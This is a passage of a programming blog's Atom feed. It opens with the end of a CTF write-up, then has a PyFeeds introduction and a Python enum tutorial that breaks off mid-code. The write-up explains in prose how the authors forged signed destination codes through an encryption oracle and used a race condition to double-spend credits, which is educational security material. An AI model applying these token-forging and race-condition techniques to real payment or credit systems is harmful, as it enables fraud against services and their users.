on a naughty list, if you can get me off the list I will give you a
flag.&lt;/blockquote&gt;
&lt;p&gt;The challenge features a simple web interface with three pages reachable
from the homepage: Home, contact and login. Further, you can also
register an account. The contact page is a dead end, however, and not
relevant to the challenge. The main functionality is exposed after
registering and logging in: Registered users can &lt;em&gt;transfer&lt;/em&gt; credits to
another user. After registration, a user has initially 1 credit, see the
image below:&lt;/p&gt;
&lt;div class="figure"&gt;
&lt;img alt="" src="/images/otw2019/naughtylist.png" /&gt;
&lt;p class="caption"&gt;The Naughty List web interface in which a user can supposedly
transfer credits.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;It is possible to transfer the credit to the given destination code. The
destination code changes after a refresh. In the credit field, it says
&lt;em&gt;1 / 5000&lt;/em&gt;, i. e. 1 credit out of 5000.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; The goal is to have an account with 5000 credits to get the
flag.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="solution"&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;div class="section" id="unsuccessful-attempts"&gt;
&lt;h3&gt;Unsuccessful attempts&lt;/h3&gt;
&lt;p&gt;In the beginning, it was not totally clear that we had to forge a
destination code. Therefore we also tried to mess around with the page
parameter to try out if file inclusion would be possible. We found out
that requesting &lt;a class="reference external" href="http://3.93.128.89:1212/a/"&gt;http://3.93.128.89:1212/a/&lt;/a&gt; still shows the original site
(but breaks the styling) and also used the oracle (described blow) to
request &lt;tt class="docutils literal"&gt;000000000000&lt;/tt&gt; and
&lt;tt class="docutils literal"&gt;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&lt;/tt&gt;. The idea was to
somehow decrypt the destination code by XORing it with the result of the
encrypted 0 bytes, or something similar. In the end, however, these
attempts were not fruitful.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="forging-destination-codes"&gt;
&lt;h3&gt;Forging destination codes&lt;/h3&gt;
&lt;p&gt;To achieve the goal of 5000 credits we have to find out how to transfer
credits to a user that we control. This turned out to be quite hard and
involved some guesswork which made the challenge a bit annoying in my
opinion.&lt;/p&gt;
&lt;p&gt;The destination code is &lt;em&gt;base64url&lt;/em&gt;-encoded. Decoding a destination
code, e. g. &lt;tt class="docutils literal"&gt;6GeVE89hSydXhCljZHIyTjEwQ3BlbnQra0xxOY9ceqtQiNEDWPds8K&lt;/tt&gt;,
reveals that there is another base64 string inside:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ echo 6GeVE89hSydXhCljZHIyTjEwQ3BlbnQra0xxOY9ceqtQiNEDWPds8K-fTD8 | sed -e 's/-/+/g' -e 's#_#/#g' -e 's/$/=/g' | base64 -d | hd
00000000  e8 67 95 13 cf 61 4b 27  57 84 29 63 64 72 32 4e  |.g...aK'W.)cdr2N|
00000010  31 30 43 70 65 6e 74 2b  6b 4c 71 39 8f 5c 7a ab  |10Cpent+kLq9.\z.|
00000020  50 88 d1 03 58 f7 6c f0  af 9f 4c 3f              |P...X.l...L?|
0000002c
&lt;/pre&gt;
&lt;p&gt;If we send a credit to the destination code, the response is:
&amp;quot;Successfully transferred 1 credits to santa.&amp;quot; It is therefore likely
that the destination code contains the username in an encrypted (and
signed?) way.&lt;/p&gt;
&lt;p&gt;Clicking around on the page quickly reveals that the URLs for accessing
Contact, Account, Login contain a string that is similar to the
destination code. The URL for account is, for example:
&lt;a class="reference external" href="http://3.93.128.89:1212/?page=HTv6mUVltvgRV3DHN2dSSVhaMlhwQT09-qpBqw01iH2-qnyuzEU7Ow"&gt;http://3.93.128.89:1212/?page=HTv6mUVltvgRV3DHN2dSSVhaMlhwQT09-qpBqw01iH2-qnyuzEU7Ow&lt;/a&gt;
Interestingly enough, the URL changes on every refresh but old URLs can
still be accessed. Decoding the different strings shows that the base64
encoded payload inside of them correlates with the lengths of &amp;quot;contact&amp;quot;, &amp;quot;account&amp;quot;,
&amp;quot;login&amp;quot;.&lt;/p&gt;
&lt;p&gt;This leads to the following theory: The decoded string contains IV (12
bytes), a base64 encoded ciphertext (where the plaintext is &lt;tt class="docutils literal"&gt;contact&lt;/tt&gt;,
&lt;tt class="docutils literal"&gt;account&lt;/tt&gt; or &lt;tt class="docutils literal"&gt;login&lt;/tt&gt; for the pages and something else for a
destination code) and a signature (16 bytes).&lt;/p&gt;
&lt;p&gt;To transfer credits we now have to find out two things:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;How do we encrypt and sign data that we control?&lt;/li&gt;
&lt;li&gt;What data do we need to encrypt and sign?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Solving 1 was easy: If we access &lt;a class="reference external" href="http://3.93.128.89:1212/?page=1"&gt;http://3.93.128.89:1212/?page=1&lt;/a&gt; we are
redirected to
&lt;a class="reference external" href="http://3.93.128.89:1212/?page=404&amp;amp;from_page=VFBTJgMHkLfWVJ3WVkE9PZAHUM8279yZcF5Xy8Nb71A"&gt;http://3.93.128.89:1212/?page=404&amp;amp;from_page=VFBTJgMHkLfWVJ3WVkE9PZAHUM8279yZcF5Xy8Nb71A&lt;/a&gt;.
The &lt;tt class="docutils literal"&gt;from_page&lt;/tt&gt; parameter contains our given &lt;tt class="docutils literal"&gt;1&lt;/tt&gt; in an encrypted and
signed form, i. e. we have discovered a way to encrypt and sign
arbitrary data!&lt;/p&gt;
&lt;p&gt;Solving 2 was hard: The length of the ciphertext for the user &amp;quot;santa&amp;quot; is
longer (12 bytes vs. 5 bytes) than the username &amp;quot;santa&amp;quot;. Also,
encrypting &amp;quot;a&amp;quot; and using the result as a destination code to transfer
credits to the user &amp;quot;a&amp;quot; does not work. I tried &lt;tt class="docutils literal"&gt;target=santa&lt;/tt&gt; and
other variations, but was out of luck. At this point I already gave up
and focused on other challenges.&lt;/p&gt;
&lt;p&gt;About a week later, &amp;#64;lavish appeared and was trying to solve the
challenge as well. We speculated about different approaches how to solve
the challenge. One idea was to use an SQL injection because of the &amp;quot;NO
UNION&amp;quot; &amp;quot;hint&amp;quot; on the homepage. After some time, however, he found out
how to forge the destination code and send credits to arbitrary users.
He used the oracle to encrypt &lt;tt class="docutils literal"&gt;lavish:ciaociao&lt;/tt&gt; and used the result as
a destination code. The error message
&lt;tt class="docutils literal"&gt;That user does not exist in our system.&lt;/tt&gt; was different than
&lt;tt class="docutils literal"&gt;Invalid destination code.&lt;/tt&gt; which hinted that a part of the plaintext
was indeed interpreted as a username. It quickly became clear that the
plaintext is split on &amp;quot;:&amp;quot; and the second part is used as a destination
username.&lt;/p&gt;
&lt;p&gt;With this knowledge, it is easy to send a credit to an arbitrary user:
Use the oracle to encrypt and sign &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;target:&amp;lt;username&amp;gt;&lt;/span&gt;&lt;/tt&gt; and use the
result as a destination code to transfer the credit to an account that
we control.&lt;/p&gt;
&lt;p&gt;There is just one problem left: We would need to do this 5000 times, but
the website only allows to create 15 accounts per hour per IP address:
&lt;tt class="docutils literal"&gt;Sorry little elf, only 15 accounts per hour&lt;/tt&gt;. An easy solution would
be to circumvent the check by using proxies but we can use a second
vulnerability.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="transferring-more-than-one-credit"&gt;
&lt;h3&gt;Transferring more than one credit&lt;/h3&gt;
&lt;p&gt;We quickly discovered that sending a credit always takes about 1 s which
is far too long for a simple update/insert transaction in the database.
We found out that sending a credit is vulnerable to a race condition, i.
e. a double spending attack is possible by sending the request multiple
times in parallel. This allows to transfer more credits than the user
actually has but also that only one credit is deducted even if more than
one is sent (i.e. credits are created).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="final-exploit"&gt;
&lt;h3&gt;Final exploit&lt;/h3&gt;
&lt;p&gt;The final exploit was just a matter of putting everything together in a Python
script. It allowed us to collect the flag:
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;AOTW{S4n7A_c4nT_hAv3_3lF-cOnTroL_wi7H0uT_eLf-d1sCipl1N3}&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="Security"></category><category term="CTF"></category><category term="Python"></category><category term="Security"></category></entry><entry><title>Introducing PyFeeds: DIY Atom feeds in times of social media and paywalls</title><link href="https://www.notinventedhere.org/articles/scraping/introducing-pyfeeds-diy-atom-feeds-in-times-of-social-media-and-paywalls.html" rel="alternate"></link><published>2019-07-02T17:25:00+02:00</published><updated>2019-07-02T17:25:00+02:00</updated><author><name>Lukas Anzinger</name></author><id>tag:www.notinventedhere.org,2019-07-02:/articles/scraping/introducing-pyfeeds-diy-atom-feeds-in-times-of-social-media-and-paywalls.html</id><summary type="html">&lt;p&gt;PyFeeds is an extensible tool written in Python that creates Atom feeds for websites
which do not provide them at all or do not provide them with full text content. It is
based on Scrapy and built with extensibility in mind. Currently it has support for Ars
Technica, Facebook Pages …&lt;/p&gt;</summary><content type="html">&lt;p&gt;PyFeeds is an extensible tool written in Python that creates Atom feeds for websites
which do not provide them at all or do not provide them with full text content. It is
based on Scrapy and built with extensibility in mind. Currently it has support for Ars
Technica, Facebook Pages, Linux Weekly News (LWN), Spotify Podcasts and Vice.com as well
as news sites which cater to a German speaking audience.&lt;/p&gt;
&lt;p&gt;PyFeeds is meant to be installed on your server and run periodically in a cron job or
similar job scheduler.&lt;/p&gt;
&lt;p&gt;The easiest way to install PyFeeds is via &lt;tt class="docutils literal"&gt;pip&lt;/tt&gt; in a virtual environment. PyFeeds does
not provide any releases yet, so one might directly install the current master branch:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ git clone https://github.com/pyfeeds/pyfeeds.git
$ cd pyfeeds
$ python3 -m venv venv
$ source bin/activate
$ pip install -e .
&lt;/pre&gt;
&lt;p&gt;After installation &lt;tt class="docutils literal"&gt;feeds&lt;/tt&gt; is available in your virtual environment.&lt;/p&gt;
&lt;p&gt;PyFeeds supports Python 3.5+.&lt;/p&gt;
&lt;p&gt;To list all available spiders:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ feeds list
&lt;/pre&gt;
&lt;p&gt;Feeds allows to crawl one or more spiders without configuration, e.g.:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ feeds crawl arstechnica.com
&lt;/pre&gt;
&lt;p&gt;A configuration file is supported too. Simply copy the template configuration and adjust
it. Enable the spiders you are interested in and adjust the output path where Feeds
stores the scraped Atom feeds:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ cp feeds.cfg.dist feeds.cfg
$ $EDITOR feeds.cfg
$ feeds --config feeds.cfg crawl
&lt;/pre&gt;
&lt;p&gt;Point your feed reader to the generated Atom feeds and start reading. Feeds works best
when run periodically in a cron job. Run &lt;tt class="docutils literal"&gt;feeds &lt;span class="pre"&gt;--help&lt;/span&gt;&lt;/tt&gt; or &lt;tt class="docutils literal"&gt;feeds &amp;lt;subcommand&amp;gt;
&lt;span class="pre"&gt;--help&lt;/span&gt;&lt;/tt&gt; for help and usage details.&lt;/p&gt;
&lt;p&gt;If you want to create a feed for a site that is not supported yet, take a look at this
article from the official documentation: &lt;a class="reference external" href="https://pyfeeds.readthedocs.io/en/latest/development.html"&gt;Writing a custom spider&lt;/a&gt; If there is already
a feed and you only want to create a full-text feed out of it, you can use the &lt;a class="reference external" href="https://pyfeeds.readthedocs.io/en/latest/development.html#generic-spider"&gt;generic
spider&lt;/a&gt; that provides full-text extraction similar to the readability feature of
Firefox.&lt;/p&gt;
</content><category term="Scraping"></category><category term="Scrapy"></category><category term="PyFeeds"></category></entry><entry><title>How to use strings as name aliases in Python enums</title><link href="https://www.notinventedhere.org/articles/python/how-to-use-strings-as-name-aliases-in-python-enums.html" rel="alternate"></link><published>2017-04-09T00:00:00+02:00</published><updated>2017-04-09T00:00:00+02:00</updated><author><name>Lukas Anzinger</name></author><id>tag:www.notinventedhere.org,2017-04-09:/articles/python/how-to-use-strings-as-name-aliases-in-python-enums.html</id><summary type="html">&lt;p&gt;Python has support for enumerations built into the standard library since
version 3.4. The &lt;tt class="docutils literal"&gt;Enum&lt;/tt&gt; type is quite powerful but serializing enum members
to human readable representations and deserializing them to an enum meber can
be cumbersome.&lt;/p&gt;
&lt;p&gt;If we want to have an enumeration of certain train stations between …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Python has support for enumerations built into the standard library since
version 3.4. The &lt;tt class="docutils literal"&gt;Enum&lt;/tt&gt; type is quite powerful but serializing enum members
to human readable representations and deserializing them to an enum meber can
be cumbersome.&lt;/p&gt;
&lt;p&gt;If we want to have an enumeration of certain train stations between the two
Austrian cities Wien and Wels, the following approach comes to mind:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;enum&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Enum&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Station&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Enum&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;wien_westbahnhof&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;st_poelten&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="n"&gt;linz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="n"&gt;wels&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This way we can refer to a train station as &lt;tt class="docutils literal"&gt;Station.wien_westbahnhof&lt;/tt&gt; in
our code and get the name of an enumeration member from the &lt;tt class="docutils literal"&gt;name&lt;/tt&gt; property:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wien_westbahnhof&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;wien_westbahnhof&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is handy but not usable for interaction with users. A user wants to see
a station written as &lt;tt class="docutils literal"&gt;Wien Westbahnhof&lt;/tt&gt; or &lt;tt class="docutils literal"&gt;St. Pölten&lt;/tt&gt; and not the
lowercase version that has an underline instead of a space in it.&lt;/p&gt;
&lt;p&gt;What we could do now is to make a mapping from enumeration members to their
&amp;quot;real world&amp;quot; representation:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;STATIONS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wien_westbahnhof&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;st_poelten&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;St. Pölten&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is an easy solution but has several drawbacks: We have to maintain the
mapping outside of the class but use it in class methods to translate between
the representations and the real enumeration members:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;enum&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Enum&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Station&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Enum&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;wien_westbahnhof&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;st_poelten&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="n"&gt;linz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="n"&gt;wels&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;

    &lt;span class="nd"&gt;@classmethod&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;from_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;station&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;station_name&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;STATIONS&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;station_name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;station&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s1"&gt; is not a valid station name&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;to_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;STATIONS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We also cannot use the default value of getting an instance from a name:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;stdin&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/lukas/.pyenv/versions/3.6.1/lib/python3.6/enum.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;327&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__getitem__&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_member_map_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="ne"&gt;KeyError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Obviously, this fails because the Enum class has no idea about our mapping. We
would have to use the &lt;tt class="docutils literal"&gt;from_name()&lt;/tt&gt; method instead but this now leaves us
with three possibilities to get an instance of a station.&lt;/p&gt;
&lt;p&gt;Enums, however, also support aliases for names. I.e. it's possible for two
values to have different names, so what we want is to have a string alias for
each of our stations that represents the station in a human readable way:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Station&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Enum&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;wien_westbahnhof&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This doesn't work because we can't have spaces in attribute names under normal
circumstances.&lt;/p&gt;
&lt;p&gt;However, there is a second way to create Enums: We can use the functional API
that allows us to specify the member names using tuple lists or dicts. This
way we can use names with spaces:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Station&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Enum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Station&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wien_westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;st_poelten&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;St. Pölten&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;linz&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Linz&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wels&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Wels&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This way we can use the alias and the default name to get members. There is no
no need for a translation table and separate methods anymore.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wien_westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wien_westbahnhof&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wien_westbahnhof&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We still have the problem that the default name and not the alias is returned
as the value of the &lt;tt class="docutils literal"&gt;name&lt;/tt&gt; property:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;wien_westbahnhof&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We can easily solve this by switching the order of alias and the default name
in the list:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Station&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Enum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
